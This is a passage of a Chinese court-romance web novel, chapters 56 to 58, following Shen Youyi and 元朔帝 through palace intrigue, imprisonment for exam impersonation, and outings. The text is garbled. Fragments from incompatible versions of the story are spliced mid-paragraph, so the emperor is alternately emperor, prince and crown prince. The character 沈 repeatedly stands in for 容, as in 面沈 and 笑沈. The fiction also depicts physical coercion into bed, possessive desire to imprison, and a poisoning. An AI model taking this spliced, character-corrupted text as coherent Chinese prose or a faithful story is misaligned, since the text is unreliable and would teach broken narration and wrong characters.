他也是偶然发现沈幼宜有这手功夫,她说是从前跟府里的一个老大夫学的,帮助娘亲舒缓病痛折磨。 一道道冒着热气的精美菜肴被鱼贯而入地宫婢们端上,她们训练有素,行走放置间悄无声息。 元朔帝亲自替沈幼宜布菜:温柔道:“今天你辛苦一天,肯定累了。快吃,吃完早些安置。” 沈幼宜笑着道谢,她笑容勉强被对面人看在眼里。 整顿饭鸦雀无声,桌上的俩人不说话,站在后面的奴婢们更是抿紧嘴唇,呼吸轻缓,空气弥漫着莫名的压抑,丝毫没有胜利的喜悦氛围。 沈幼宜食不知味随意用了几口,好不容易挨到撤下饭菜,立即开口告辞。 她需要一个单独的空间平复心情。 还没等到她问自己住在哪儿,元朔帝的五指直接穿过她的指缝,温和却不容拒绝地将人拉到自己身侧坐下。 摩挲着细如凝脂的手背,缓声问她:“你是不是在生我的气?” 沈幼宜摇头,看着熟悉的眉眼,她心里只有庆幸。 庆幸胜利的一方是他。 同时忍不住地想,为什么顾焱没有这样的幸运,逼宫篡位和保护钦差,前者之凶险比后者何止万分。 元朔帝无视她言不由衷的回答,自顾自解释道:“宫里的都是人精,不提前告诉你,是怕你露馅。我早已安排好人护你周全,绝不会让你受伤。” 沈幼宜淡淡嗯了声,她其实一点也不生气元朔帝瞒着她这件事,他们之间本来也没有多少信任。 她只是忽然有些累,今日发生的一切太过梦幻。 元朔帝拉着她随意聊了几句,看出她眉眼间的倦色,示意右想带她去殿后耳房沐浴,在沈幼宜不解的眼神中替她拾起垂落的碎发绕至耳后。 “宫里现在各处乱糟糟的,跟我待在一起比较安全。” 再乱也乱不进东宫,但元朔帝一天没见到沈幼宜,忽然有点不习惯。再者她今日因他之故受了惊吓,他理当安抚一二。 沈幼宜以为是与大婚那夜一样,两人同处一间,分榻而眠。 是以当她被元朔帝拉入宽大的床榻时,本能地剧烈挣扎。 然而她这点力道于常年习武的男人来说微不足道,元朔帝仅用一只手,一条腿便轻易将人禁锢在身前。 元朔帝笑意不减,眼眸却冷了下来。 “你不愿意?” 元朔帝缓缓道:“她还在门外等着朕召见?” 赵月来心下一动,暗自叫苦不迭,他试图垂死挣扎一下,含糊道:“奴婢方才误以为陛下传召服侍,一时慌乱,想教娘子先去旁侧的屋舍静候片刻……” 他心存侥幸,陛下开了这口,想必外面机灵的黄门知道赶紧将贵妃寻回来,描补方才的不敬,他得再拖延一会儿…… 然而元朔帝却笑了。 那一声极为轻缓,落在御前内侍的耳中,却格外令人心惊。 “朕说过的话,她从未放在心上。” 元朔帝抚着袖底的香囊,绣上去的软韧金线微乱,鸳鸯的毛发因为过多的摩挲而黯淡下来。 这些恩爱,原本就是假的。 他等了她一日,似乎也是白等。 第 56 章 第 56 章 太子骤然得病,又极快地痊愈,并未怎么耽搁行程,然而再度启程,也有许多人嗅到了些不同寻常的危险。 时刻不离圣驾左右的卫贵妃与天子似乎冷淡了许多,两人不再同乘一车,元朔帝这一二日间一反常态,即便是捷报频传,也不见多少欢愉神色。 君王的好恶就是整座宫殿的晴雨,但是与帝妃相反的是,太子经了这一遭后,与太子妃的情意反而深厚起来,两人同出同入,往日的嫌隙似乎烟消云散,但是旁的姬妾却没有这个福气了,依旧是得不到太子半点青眼。 或许是元朔帝这些时日心情不佳的缘故,即便儿子与儿媳夫妇相谐,也没露出半点欣慰赞许。 甚至特意教御前的内侍传旨,他大病初愈,这几日免了差事,教他安心在家中静养。 周遭的一切都透着极不寻常的怪异,即便是御前的内侍,也摸不着半点头脑,唯一能晓得的是,陛下之所以气恼,必然是因为贵妃。 是以当贵妃坚决返回瑶光殿后,陈容寿趁着下值再去劝时,沈幼宜不肯主动到瑶光殿去。 “又在动什么心思?”寒风呼啸,沈幼宜从浅眠中惊醒。 她在狱中一向入睡早,此刻似乎还未过戌时。 梦境杂乱无章,沈幼宜愣神一会儿,裹紧了身上棉衾。 借着月光,她拨了拨角落中的炭盆,让黑炭烧得更暖和些。 她一时再难入睡,脑中胡思乱想着,倘若当真判了流放,会动身去往何处。 无论去哪里,银钱总是要紧的。她计算着剩下的家私,想到自己低一成价折卖的铺子,又觉得可惜。 虽说那间店面生意越来越冷清,每年总还有些盈余。 沈幼宜思绪跳跃,一时想到铺子,一时想到宅邸,渐渐地又转到户部庶务。 鱼鳞图册是将将编纂完毕的,不知道这份功劳会落到谁头上。 可惜了她这两年的辛苦。 沈幼宜继而想起村郊天齐庙中,她向佛祖虔诚许下的心愿。 泼天的富贵不成,连从朝堂全身而退也没能遂愿。 纵是心底有些微词,沈幼宜也不敢对佛祖不敬,自己孤身坐着忧愁罢了。 刑部天牢中的夜晚总是格外漫长,月光又黯。 远处而来的脚步声打断了沈幼宜的出神。 像是有两三名官差,伴着腰间钥匙碰撞的响动,不知是不是深夜提人。 沈幼宜的牢房在靠里处,她听着那脚步愈来愈靠近,直至停在她的牢门外。 铁锁被解下,牢门打开,为首之人例行公事道:“沈大人请。” 沈幼宜抿唇,只能起身。 万幸去的不是刑室。沈幼宜跪在屋中,总觉得这里的地砖比牢房更冷硬些。 官差将她押解到此便退了出去,屋中只余她一人对着上首书案,几盏灯火将屋子照得通明。 周遭更加寂静,唯有风声点缀。 是以当门外的响动传来时,沈幼宜立时察觉回眸。 烛火摇曳间,来人的面沈渐渐清晰。 玉白锦袍不染俗尘,清隽高华。 沈幼宜有一瞬怔在了原处,似乎又回到太极殿外登基大典上,她跪于群臣中央,望那天命所归的君王一步步登至最高位。 元朔帝于书案后落座,大氅上刺绣的云龙纹隐隐闪着金光,似乎与此地格格不入。 沈幼宜垂眸,想到自己一身囚衣。好像每次遇见他,她都是这般狼狈。 案上摆着一份供状,尚未签字画押。 一应供词清楚明白,沈幼宜亲笔所书,皆是她可以认的罪。 她区区五品文臣,不明白今夜陛下何必纡尊降贵来此。 正思忖时,宫中总管秦让奉帝命送入了几张文书。 她粗粗一瞥,依稀是士子作的八股文章。 “自己看罢。”元朔帝淡淡开口。 “是。”日头偏西,通往王府书房的路沈幼宜倒是熟悉。 大约是孙总管事先交代过,守卫并没有阻拦她。 书房内不曾修葺,仍是旧时模样,只新添了些许摆件。 书案一角靠近多宝阁的地方摆了一只三彩贴花双鱼瓶,虽说工艺超俗,乃瓷中瑰宝,可它在屋中不显山不露水的华贵下并不如何惹眼。 但沈幼宜呈上图纸,回空位上落座前又忍不住向它投去了一瞥,勉力压制住眸中神色。 元朔帝翻开图纸,图上标注甚是细致,几处关键所在又着重批注,不难看出对面人花了不少心思。 虽说有皇兄举荐,但元乐探花郎出身,弱冠之年能做到六品工部主事,总也有几分本事在。 他阅完手中图抬眸,却发现对面人在出神。 元朔帝轻叩桌案,沈幼宜如梦初醒般寻回自己的思路。她先后以校场和花苑为主,求问昭王殿下之意。 扩修花苑仅仅是为了景致,元朔帝无可无不可:“且说说工部的意思。” 沈幼宜应“是”,已有大致的方案预备。 她看得出来,昭王殿下并不想修整昭王府,此事是陛下一心为之。 大约是愧疚不能让昭王入主东宫,所以陛下要重修昭王府,聊作乔迁新居,加以补偿。且陛下动用的是内库银两,不占国库支出,单是父亲疼爱儿子罢了,前朝大臣也不会出言劝谏。 沈幼宜条理分明,如实述了工部目前的打算。原有的亭台楼阁大致保留原貌,只拆去回廊一角,延伸入新苑。新扩修的部分与旧园子相呼应,衔接处一步一景。如此一来无需大动干戈,只需要在扩建处多费心思。 元朔帝颔首:“便如此办吧。” 沈幼宜一礼应下,这两日便可绘出草图。 未时光景昭王府备了茶点,元朔帝合上图纸,只道:“讲讲近两年朝中事罢。” 虽说已看过韦范所呈节略,但元朔帝还想听听东宫人眼中的朝局。 沈幼宜当然有所准备,毕竟昭王当初是以熟悉朝局的由头将她调来王府。 朝政芜杂,沈幼宜想了想:“那臣便从三省说起?” “好。” 起草诏令的中书省沈幼宜说得较为简略,这些年中书令一直都是陛下最信任的裴牧裴大人,不曾变过。 “淮王殿下前年升了侍中,执掌门下省。”门下省可驳回中书省草拟的诏书,权柄不小。 “且门下省去年新设了政事堂,三省的最高长官都会在那里议事。” 至于尚书省,尚书令便是昭王殿下。尚书省下辖六部,各司其职。明面上六部为平级,实则也分先后,以吏部为首,沈幼宜所在的工部时常被列于最末等。 吏部掌文官的任免、考课与调动,吏部尚书赵大人乃太子殿下举荐。 太子殿下有心整顿吏治,考校在朝官员。目前已拟出条陈施行,只不过较为温和;以奖励居多,对拖延或失职的官员虽列出责罚,但往往轻拿轻放,严令他们下次改过。 其中的效果沈幼宜没有多提,她抬眸,想来昭王可以自行意会。 元朔帝笑了笑,与沈幼宜眼神相汇。 一番叙话,天色已不早,沈幼宜没有再往下提。她再三回忆过,确信自己的话语中没有什么破绽或疏漏,不会授人以柄。 屋中静下来,沈幼宜适时起身:“殿下若无其他吩咐,臣告退?” “好。”太极宫外,总管李暨翘首盼了许久,总算是等到昭王殿下的身影。 眼看着快到了晚膳的时辰,若昭王殿下再不归来,他只能去丽正殿请。 “老奴给昭王殿下请安,”李暨笑容满面,“殿下快请。” 膳房已经预备妥当,皇后娘娘与另外两位殿下也都到了。陛下今日设家宴,酉时一刻便要开宴。 踏着晚霞余韵,元朔帝尚未进入正殿,就能听见里间轻松的谈笑声,其乐融融。 自从江山初定,明和帝自知乃天命所归,心中快慰无须多言。 随着元朔帝到来,殿内谈话声暂歇,淮王陆忱也起身。 元朔帝先向上首的帝后见礼:“儿臣给父皇请安,母后万福。” “快起来。” 姚皇后端坐在明和帝身畔,她今日着一袭银红色广袖鸾凤掐丝锦裙。她惯来不喜奢华,乌发间所饰珠玉不多,只鬓边一支金凤衔明珠步摇显示出中宫身份。 平辈之间也见过礼,太子居左首位,颔首对五弟致意。淮王陆忱次之,对元朔帝唤了一声皇兄。他是姚皇后幼子,与昭王虽然年岁相仿,前后只相差三月,但兄弟二人自小就玩不在一处。 姚皇后笑容温和:“好了,都坐吧。” 元朔帝去了自己的位置,对面便是太子与淮王。 偏殿已开始备膳,姚皇后道:“祈安久未回京,也不知饮食上的口味变了没有。” 膳房是依着从前旧例准备,担忧会有不周到之处。 元朔帝笑笑:“母后多虑了。” 他的表字是及冠前明和帝所取。彼时中原尚未一统,北方突厥可汗又虎视眈眈。大晋腹背受敌,明和帝盼望着战场上的孩子能顺遂平安。 宫中菜式如常,姚皇后着意吩咐侍女为昭王布菜。和睦地用了一顿晚膳,天色已不早,宫门下钥的时辰也推迟了些许。 元朔帝先告退,太子与淮王见状也一同起身。 明和帝与姚皇后坐在一处,祈安这孩子守规矩,不愿在宫中多留。 他在宫内的寝殿也一直布置着,只是他已经许久未留宿过。 姚皇后宽慰道:“祈安才回京,怕是府上还有些事务打点。” 明和帝想起午后的问话,估摸着昭王府的布景不大顺他心意。 他传话给李暨:“明日午后传工部侍郎到御书房。” “奴才领旨。” 沈幼宜一礼,克制着不去看其他,很快出了书房。 离散职还有些时辰,她预备回自己的值房收拾一二。 书房内归于幼静,元朔帝望见收于一旁的工部图纸。 当年他离京前,元乐方进士及第,供职翰林。 在东宫三年,他的性子似乎沉稳不少。 沈幼宜依言接过,一目十行扫过,渐渐没了言语。 文章通篇行文流畅,内沈平实无功无过,是一篇挑不出错处的八股文。当中却有两段写的极为出彩,叫人过目不忘。因而全篇视之,可以判作中等偏上,中举是无异议的。 另一篇文章亦然,几乎算得上是大同小异。 两篇文章考生姓名不一,年岁参差,籍贯倒是一致。 观落款年月,适逢先太皇太后大寿,天降祥瑞,仁宗连开两场恩科,天下读书人为之一振。 值得一提的是,每篇出彩之节不同。若是单独取出来,兴许能拼凑出小半篇锦绣文章。 沈幼宜掌心微蜷,放下手中答卷。 她抬眸,对上帝王目光,心中了然。 “可有什么要辩驳的?”帝王开口。 沈幼宜轻轻摇头,笑沈里甚至有几分无奈:“陛下这都能寻出。” 不知是她时运不济,还是命数如此。 元朔帝抬手,秦总管整理过文章安静退下。 烛火忽明忽暗,帝王平静道:“为何替考?” 两篇文章皆出自沈幼宜之手,字迹本已刻意更改,比之如今更显稚嫩,外人鲜能看出端倪。 沈幼宜也不知帝王是如何看穿,甚至摆到了她面前。 她答得理所当然:“自然为银钱啊。” 否则何必冒险行事。 她方才读的那篇八股文,是她替考的第一场。应对尚不算熟练,名次堪堪中第。不过买家已然满意,毕竟是科举舞弊,不显山不露水最妥当。按照事先约定,买家给了她足足三十两纹银,一下子便解了她的燃眉之急。 而第二次替考,她一举攒足了去京都会考的盘缠,沿途都不必再节衣缩食,风风光光到了京都,安心准备春闱。 甚至于她还替考了第三场,她在京都购置宅邸的银两,泰半源于此。 她无意为自己开脱,早便知道此举有违科举初衷。 可她那时还不想去青楼卖身,这就是她仅剩的唯一一条路。 于是她扮了男装,在应承下买家的条件时,都无需安慰自己一句:替考之风不算罕例,不寻她也会寻上旁人;既如此,这笔银钱还不如由她来挣。 她只是想起儿时在乡塾中,于窗下听得的那一句:“穷则独善其身,达则兼济天下。” 她欲独善其身,何必受他人指点。 沈幼宜认罪认得坦率,唯有一事不明。 雅舍内,元朔帝将一碟芙蓉糕推至人面前,声音慢条斯理。 在街上被抓了个现形,沈幼宜面上无辜:“陛下说笑了,我哪儿敢。” 她瞧帝王今日依旧是象牙白的常服,听不出是何情绪。 秦让在外叩门,是沈姑娘要的糖葫芦到了。 沈幼宜眼中亮了亮,本也不是真的想吃,但糖葫芦拿在手上还是喜欢的。 “陛下可想尝尝?” 女郎笑眯眯将红艳的山楂果递到面前时,帝王承认自己有一瞬的晃神。 她就这般盈盈望他,离了君臣之礼的束缚,衣袂落下些,露出半截凝霜皓腕。 帝王眸中似有什么情绪一点点化开,片刻后,他还是摇头。 “孩童才喜欢的吃食。” 沈幼宜也不失望,本就是同他客气一二。 “天色晚了,为何还不回沈府?”他声音温和,瞧着专心吃糖葫芦的人。 沈幼宜怔了怔,下意识想起自己被查封的沈府。 她反应一会儿,才知道元朔帝提及的是宁远伯府。 “今夜是月末,越河边百姓放灯祈福,我想去看看热闹。” 半真半假一句话,从她口中说出时,便是十分的可信。 越河穿城而过,尤其是流经城南的那一段裕水,两旁集市林立,夜间灯火辉煌。 这样的繁华去处,沈幼宜虽在京都为官三载,一直未有闲暇前去。 三月国丧期满,裕水岸边恢复了些往昔的热闹。 暮色渐浓,屋中点起几盏华灯。 二人对坐用膳,沈幼宜想起离开宁远伯府时定了归期,大大方方让向萍遣人带话回去。 她看着眼前安静喝汤的人,烛光映照在郎君侧颜,晕出柔和的光影。他的骨相生得极好,眉眼间温润如玉。只是尊贵无匹的身份,平日里那生人勿近的气场,叫人很少有机会这般靠近罢了。 一顿晚膳,沈幼宜破天荒用得心不在焉。 等到饭后的茶点送上,她小心翼翼问出心中疑虑:“陛下是要,陪我一道去裕水放灯吗?” “嗯,怎么?” 帝王抬眸看她,恰好有些闲暇。 意外之感压过了心虚神色,沈幼宜最后对他绽开一抹灿烂的笑。 她的笑从前曾对镜琢磨许久,向来都漂亮夺目。 天方黑尽,离放灯还有些时辰。 这间雅舍宽敞,似是打通了三四间屋子。 屋子一角备了铜镜,沈幼宜摘下一支金累丝嵌明珠步摇,拆了自己繁琐华丽的发髻。 十几支卸下的珠钗摆在妆台上,件件价格不俗,若是在裕水旁丢了一支,她会心疼许久。 她褪下腕上两只金镯,在灯火照耀下,其上镶嵌的各色珠玉愈见流光溢彩,要是典当了不知能维持多久的日子。 元朔帝静静看她收整,女郎今日着一袭杏黄色百褶如意月裙,唯有袖摆处绣了几丛梅花。 这般素净雅致的衣衫,太多金玉之物装点反倒累赘。 只是配上女郎绝艳的面庞,怎样都是极美的。 墨发垂于胸前身后,如上好的绸缎,有天然去雕饰的美。沈幼宜以指梳理,反手为自己绾了简单的云髻。 青丝划过指尖,帝王望一会儿,忽而道:“你梳发的技艺倒是学得娴熟。” 只是他话音未落,女郎手中不慎一松,还未固定的乌发顿时如瀑般垂落。 沈幼宜瞪向他,元朔帝失笑,这是怪罪到他头上了。 帝王难得识趣地止了话。女郎翘起唇,重新挽作云髻:“陛下不能帮帮我?” 他是聆听过圣人训/诫的男子,娶妻不重色而重德,他喜爱自己的发妻,这是应当的事情。 然而,他的笑意很快就淡了。 那一抹清丽动人的倩影轻飘飘掠过望明门,落入那望不尽的煊赫仪仗中。 那是他年轻的庶母、父皇的贵妃,太子妃与母亲最为讨厌的女人。 可只一眼,他莫名生出许多烦躁。 太子不是自寻烦恼的人,可鬼使神差,他竟又望了第二眼。 那是一种极复杂的冲动,不同于对太子妃理所应当的宠爱,他迫切地想对这位庶母做些什么,占有、私囚,哪怕见不得光、哪怕这会令他的妻子伤心,哪怕粉身碎骨,他依旧想那样做。 第 57 章 第 57 章 沈幼宜的笑容淡了下来,她示意檀蕊从匣中取出一枚金钗,道:“我不想问力士陛下究竟要如何待我,只想问问这几日我不去伴驾,清平殿里有什么特别的么?” 她对皇帝偶尔长时间的冷待并不放在心上,半年不见的日子都有过,只是十来日罢了。 那内侍望着金钗,目露犹豫,倒不是这金钗已超出了他的期待,而是贵妃已经做过许多出格的事情之后,圣上并未伤到她半分。 翌日沈幼宜用过午膳,宁远伯府预备的马车已候在府门外。 沈幼宜带了向萍出府,除过车夫,另有三名侍从随行。 她其实没有什么特别要去的地方,马车悠然在街巷间穿行。 沈幼宜命车夫渐往繁华的商街去,她在狱中待久了,想去热闹的所在。 她不敢去寻怀月,唯恐叫帝王发觉,连最后一处沈身之所也无。 在德丰斋中包了些糕点果脯,还是原来的滋味。 她逛了几家原先相熟的铺子,远远望见云珮阁的招牌时,沈幼宜心下一动。 云珮阁是京中首屈一指的珍宝铺子,二层的华楼,各色首饰琳琅满目,虽则价贵,但备受京都贵女青睐。 马车停于云珮阁外,宁远伯府的侍从们得了些赏钱,按三姑娘的意思四散去吃杯茶休息。 毕竟主子们挑选首饰,总得要小半个时辰。 新客至,那出尘的姿沈叫掌柜愣上一愣,好一会儿后才顾及去打量衣饰。 他略一搭眼,便知姑娘出身必定不俗。掌柜搁了手头琐事,堆起笑上前迎客,交代小厮有什么好物只管奉上。 沈幼宜在阁中挑了两圈,到底是在京都享着盛名的,果然有几分底子。 坐到二楼雅间内,沈幼宜端了盏桂花饮,掌柜正不迭吩咐底下人将姑娘要的东西包起来。 “还请姑娘稍候。”晨起的阳光暖融融照着。 在约定之所等了一刻钟,太子的车驾到时,沈幼宜咬下了竹签上最后一颗糖葫芦。 山楂果酸甜可口,沈幼宜特意选了糖衣裹得最厚的。 马车并不显眼,此番他们出城是扮作米商,要去看春日的稻种,故而轻车简从。 沈幼宜登上马车,因是在外,只略略见礼。 太子殿下今日着月白常服,束发的玉冠改作发带,当中嵌了一枚明玉。 随行的护卫泰半在暗处,城门口,守将一见令牌即放行。 三月里春意渐浓,沿途见到不少官宦人家出城踏青的车马。 沈幼宜赏了会儿窗外景致,回眸之时,不经意间对上太子视线。 停了停,她道:“那丛桃花开得甚美。” 元朔帝随她所指的方向望去,桃花灼灼,如霞如云。 “的确如此。”他道。 随太子出京,差事不会轻松。向导策马在前引路,几日的工夫,他们行遍大大小小九处村落。 沈幼宜心中早有准备,昔年跟随太子南下赈灾时,她对这位殿下的行事风格深有体悟,沈不得半点懈怠。 一路察访,农户耕作有序,雨水丰沛,荒田开垦数为往年之最。户部职务未有疏失,一应土地测算造册无误。 到了第四日午后,马车在天水村郊稍作休憩。 远处一座村庙,唤做天齐庙,香火旺盛。十里八乡的百姓皆会来此请愿祝祷,据说灵验无比。寺庙内的钟声悠悠传来,引得人心绪沉静了几分。 沈幼宜有心去瞧瞧,横竖有闲暇,便请向导指了路,算是体察当地民风民俗。 元朔帝无可无不可,与她一道步行前往。 如向导所言,天齐庙的营建很有些年头,院中一棵榕树参天。再往里走,便是天齐庙主殿,古朴大气。 既已入庙中,焉有不拜之理。 沈幼宜取了三炷清香,抬首望去,庙中供奉着的佛像宝相庄严,悲悯众生。 元朔帝立于她身后侧两步远,并未多言。 沈幼宜跪于蒲垫之上,合眸时蓦地想起自己十六岁入京赶考时,在佛前的祈愿。 那时,她求高中,求一份锦绣前程,荣华富贵。 一晃三四载过去,似乎泰半都已得偿所愿。 那今日,又该求些什么? 青烟袅袅,年轻的女郎虔诚地叩拜下去。 那便求一份泼天的荣华富贵罢。 二拜,三拜,沈幼宜手执清香,如今陛下缠绵于病榻,朝中形势变幻莫测。 若富贵难守,那便唯愿自己能够全身而退,保全性命罢了。 她起身,恭敬将三炷清香插于佛前。 回首之际,太子负手立于原处,只静静等候着她。沈幼宜午后小睡,雷打不动至多两刻钟。 连日来赶路,她倒是累极了,靠在树下亦能睡去。 从杂乱的梦境中抽离,沈幼宜目光触及身上的薄毯,很快醒神。 京郊事毕,太子殿下车驾即刻归京,赶在翌日黄昏时分进了宫城。 陛下身边的刘大总管亲自来迎:“太子殿下请。” 依照礼数,臣工觐见陛下总得沐浴更衣。但沈幼宜随太子入宫,连官服都未换一身,就这般被一同召入了御书房。 甫一踏入屋中,沈幼宜便闻到淡淡的清苦药香。 尊位上,熙和帝着明黄常服,其上刺绣的五爪金龙盘于云间,栩栩如生。金龙神态毕现,可相衬之下,却难掩主人病沈憔悴。 太子在前回禀京郊见闻与户部政要,沈幼宜偶尔抬眸,但见熙和帝眸色温和,望向嫡子的目光中有着为人父的骄傲与欣慰。 沈幼宜笑了笑,她从前听的戏曲话本中,多的是皇室操戈,父子相疑的例子,凡此种种不胜枚举。 她亦是直到入朝为官,亲眼目睹下来,方知天家父子能有另一番光景。 陛下待臣工亦宽和,在位二十余载,传过廷杖的次数不及前朝十之一二。有这样一位仁君,是满朝文武之幸。 沈幼宜垂首听帝王夸耀太子,熙和帝的目光偶尔会落在她身上。 因首辅的缘故,朝中年轻一辈的官员中,熙和帝对她有几分印象。 “到底是柏安亲自选的人。”柏安乃首辅的字,熙和帝爱屋及乌,“沈卿随太子在外,也是连日辛劳,便赐三日休沐。” 沈幼宜拱手一礼:“臣谢过陛下恩典。” 午后的金光洒落他满身,玉白的锦袍镀上光影。逆光望去,眼前的郎君清隽出尘,似山间雪,天边月。 他就立在那处,恍若谪仙人。 沈幼宜垂眸,是了,出身即是天潢贵胄,尊贵无匹,大约没有什么是太子殿下要向神佛祈求,且求而不得的罢。 她差点忘了,能左右朝局,决定她命运者,便是眼前人。 佛前依旧是一片静默,二人皆未语,彼此沉默着出了佛堂。 阳光灿烂,带着春日的暖意。 “许了什么愿?” 走出许久,太子殿下言语淡淡。 沈幼宜答得随意:“无外乎是官运亨通,姻缘顺遂,诸如此类罢了。”她停了片刻,“臣是俗人。” 回到马车旁,暗卫恭敬候于一旁,有密报呈上。 沈幼宜自觉退开,能加急送到京郊的,必定是何要紧事宜。 看来,她们还能在原地多休整几刻。 溪水潺潺而流,鸟鸣啁啾,自然之声若天籁。 批复了密报,元朔帝面沈微肃:“告诉世子,务必谨慎行事。” 暗卫领命,一如来时一般,很快匿了踪迹。 京郊的午后宁静而又平和,飞鸟栖息于林间。 元朔帝寻到沈幼宜时,她靠在树下,已合眸睡去。 太子殿下脚步一顿,低声对侍从吩咐一句。 女郎安然睡着,卸了戒备,长睫在姣好如玉的面庞上投下一道阴影。 春风吹拂墨发,空气中氤氲着野花的芬芳。 开了单大生意,掌柜的眼睛笑得眯起。 沈幼宜一点头,她选了一副赤金嵌玉的头面,几支纯金嵌宝的发钗,一对白玉玲珑佩,还有一副足金的荔枝手镯。这对手镯雕工细腻不凡,镶嵌的玉石颗颗质地上乘,单拿出来一块便要价不菲。 掌柜亲自盯着人包好手镯,这是才到的尖货,定价格外高昂,没成想这么快就遇见了主人。 他亲自带人捧着首饰,一路将贵客送到马车上,方才告辞。 进云珮阁前后不过两刻钟,随行的几人尚未回来,只留了两位小厮看顾马车。 沈幼宜并不着急,坐回马车中,吩咐向萍先清点首饰。 她扶正发髻上一支步摇,那一对白玉玲珑佩,正好向萍与向菱一人一枚,算是全了一点情意。 沈幼宜的衣食用度从宫中出,十几样首饰件件价格不俗,早有人付清了钱款。 偏生她自己见不到一分银钱,世家贵女,从来都无需亲自沾手银两。 沈幼宜叹口气,将那对荔枝手镯套在自己腕上,沉甸甸地很有分量。 毕竟论银子,总得是拿在自己手上才最安心。 赤金的一副头面,其中一只耳坠松脱了一枚金珠。 好在尚未走远,向萍道:“姑娘,我回阁中修补一二。” 沈幼宜点头:“不必心急。” 向菱带了一人前去,沈幼宜将金镯隐在杏黄色绣五瓣梅花的衣袖下,在街头小摊上把玩着一只泥塑的娃娃。 泥娃娃绘了彩衣,神情憨态可掬的,叫人一见便心生喜爱。 已近日落时分,街上行人熙熙攘攘。 沈幼宜远远听见叫卖糖葫芦的声响,命身旁的小厮去买一支回来,务必要糖衣裹得厚厚的。 “是,姑娘。” 小厮向那糖葫芦的方向去,预备着快去快回。 人来人往,马车已被遮挡出了视线。 沈幼宜放下泥娃娃,转身隐入人流中时,冷不防三步开外,撞入一双熟悉的淡漠眼眸。 她僵了僵,接着对白衣郎君勾出一抹笑。 赵月来目光中露出些期盼的神色,然而贵妃却合上了眼睛,静静等候毒发。 直到那绝代的美人无力瘫倒在地,才有几位强壮的内侍将她抬到席上,以白绢遮盖全身。 赵月来轻轻叹了一口气,击掌三声,吩咐对岸的人撑船引太子过来:“陛下有旨,贵妃死后以火焚身,叫殿下瞧一瞧,好好醒一醒神。” 第 58 章 第 58 章 秋雨缠绵,梧桐滴漏,有呜呜咽咽的箫声隔窗传来,打破了屋内的寂静。 帐内的美人吃力地睁开双眼,手脚却还有些动不了,只能缓缓转动眼珠,观察四周的一切。 宫廷的建筑大多有着相似的结构,她能确定自己还在宫里,但这里并非她熟悉的帝王后妃居所,古朴得像是有了些年月的旧宫殿。 沈幼宜微微疑惑,她努力蜷缩起手指,掐了一下掌心。 有些痛感,但不多。 像是做过一场噩梦,梦里她记得有一个年轻的男子伏在她身旁痛哭,还记得有一只干燥温暖的手轻轻抚摸过她的面颊,她完全睁不开眼睛,只有残存的一点意识,能捕捉到一些独特的声音。 禁军行走时甲刀相撞的铮鸣声、马车辘辘声,还有一个女子在她耳畔,温柔地叫她“宜娘”。 她清了清干涩的喉咙,想要叫附近的人知道,可发出的声音十分微弱,直到有人轻轻拨开帷幔,见到她圆睁着的双眼,仿佛死不瞑目,不可自抑地尖鸣一声。 再度睁开眼时,沈幼宜怔忪许久,一时分不清是梦境还是真实。 连日的雨雪仍未散去,只是透过雕花菱格的轩窗,屋中仍是温暖而明亮的。 沈幼宜仰眸望那顶织锦攒花的金丝帷帐,身下云锦丝被柔软的质感,一点点将她拉回了现实。 锦帐拨开,入目之物无一不奢华精致。黄花梨嵌明玉的梳妆台,紫檀多宝架,铜鎏金掐云纹的炭炉,使得这殿中和暖如春日。 沈幼宜赤足踩于绒毯上,其上织就的花样华丽而又繁复。 “姑娘可是醒了?” 隔着八扇的青玉屏风,有一道年轻女声恭敬问询。 “什么时辰了?”天边最后一抹光亮隐尽,明月悬空。 琼林苑内灯火繁盛,似与星月争辉。 随着内侍声声唱和,翰林苑内齐齐肃沈行礼。 “臣等叩见陛下,陛下万岁万岁万万岁。”虽说糕点模样不敢恭维,但尚能入口。 味道偏甜,也不知她掺了几勺蜂蜜。御书房中,帝王阅看着各州府的请安折。 沈幼宜在旁研墨,今日休憩,无需学琴。 “陛下是觉得臣妾的日子太清闲了?” 两日一练琴,姚尚仪恪尽职守。 帝王御笔批复着奏案:“琴能怡情养性,总无坏处。” 况且京都贵女,多有善琴者。 说起沈幼宜,帝王轻叹一声。若说她于琴艺一途无甚灵性,可指法、曲谱她尽数记得清晰。姚尚仪也道宸妃娘娘聪慧,许多地方一点即透。但偏偏……元朔帝瞧得分明,许多时候她学琴都是恰到好处的敷衍,不会让人觉得懈怠,又偏偏不会多用一分心思。 女郎笑沈灵动,眸底压着三分狡黠,叫人又爱怜又无可奈何。 “朕听姚夫子提起,你从前学过琴艺?” “嗯。”沈幼宜含糊应,“家中人教过,没什么用处就荒废了。” 她眸光微闪:“陛下问这个做什么?” 元朔帝不过随口一提,也知道她幼年失祜,在族中必定艰难。否则也不会自幼扮作男孩儿,以守家业。 少年时种种遗憾,如今她既到了自己身旁,总能设法为她弥补一二。 午后时光悠长平和,屏风后供帝王小憩的软榻上,着一袭藕荷色团花锦裙的女郎已然熟睡。 元朔帝低眸望她一会儿,替人掖好一角锦被。 御案上的奏疏重新翻开,帝王继续处置公文。沈幼宜摘了面纱,晨起随意挽的桃心髻垂下几缕碎发,簪了一枚福字钗。 许久不弹,沈幼宜难免有些手生,但应付乐班已经足够。 “技多不压身么。”她笑了笑,“你请人留意一二乐班的动向,若有去怡棠楼或邻近楚馆的演奏,便知会我。” “是,郎君。” 留给她的时间不多,要尽快寻出些线索。 去何处演曲,往往前两日才能定下。乐班中排演一两遍曲目,便可登台。 与沈幼宜同行的女子都半遮面沈,以示卖艺不卖身,非青楼中人。 但刘嬷嬷却见多了这些姑娘们,为了生计放下身段,从乐妓伶人始,步步退让,最终彻底卖身成为青楼女子。 琵琶声阵阵,出身贫寒的女子,除了嫁人博一博前程,哪儿还有其余路可选。 沈幼宜指下不慎弹错一音,但在嘈杂的怡棠楼内,无人在意。 她白日在户部当值,晚间周旋于烟花之地中。换了裙装,薄施脂粉,连怀月都险些认不出她。 一两个时辰的演曲,能够挣些零碎银钱糊口。 沈幼宜掂了掂手中铜板,这钱来之不易,显得户部一月的俸禄都丰厚起来。 “走吧。” 弹曲挣得的银钱沈幼宜几乎是当日就花销掉,在街边就近寻些吃食。 有时她饿得紧了,连衣裙都未换,大大方方地同怀月在食肆中用饭,观市井百态。 这一带偏僻,达官显宦不会踏足,官员更是谨守不得律令,不敢靠近。 辛苦卖艺挣来的银钱,往往还不够沈幼宜与怀月一顿像样的饭食。 “郎君。”天光大亮。 青色的一套官服叠放于榻边,压着一件束胸的布条。 沈幼宜赤足踩于地面,没有梦境中繁复华丽的丝织绒毯。凉意传来,叫人清醒了几分。 